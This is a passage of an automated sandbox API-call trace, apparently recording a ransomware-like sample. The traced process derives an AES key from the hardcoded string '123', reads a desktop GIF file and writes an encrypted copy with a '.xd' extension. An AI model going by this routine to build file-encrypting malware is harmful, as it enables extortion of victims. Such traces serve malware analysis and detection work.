[0079.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0079.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e290, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0079.772] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0079.772] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0079.772] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.772] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.773] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0079.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.773] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0079.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.773] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.773] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.773] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.773] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.774] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.774] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.774] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.774] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.774] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.774] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.774] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.774] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0079.775] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0079.775] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0079.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.775] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0079.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0079.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629510, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0079.775] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.775] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.775] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.775] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0079.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0079.776] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0079.776] CryptHashData (hHash=0x164c2f0, pbData=0x16293c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0079.776] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.776] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.776] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.776] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.776] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.776] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.776] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.776] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0079.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0079.776] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0079.776] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c2f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9f0) returned 1 [0079.776] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.776] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.777] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.777] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0079.777] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0079.777] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0079.777] CryptDestroyHash (hHash=0x164c2f0) returned 1 [0079.777] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.777] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.777] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\cp-8vvuvb.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0079.778] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.778] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.778] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6")) returned 0x10 [0079.778] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Cp-8vvuvB.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\cp-8vvuvb.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.780] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0079.780] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0079.782] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x505, lpOverlapped=0x0) returned 1 [0079.782] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0079.784] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.784] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.784] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.784] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0079.785] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.785] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.788] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0079.788] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.788] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0079.788] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.788] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.789] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0079.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0079.789] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0079.789] CryptGetKeyParam (in: hKey=0x164c9f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0079.789] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.789] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.789] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.789] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.789] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.790] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.790] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.790] CharLowerBuffW 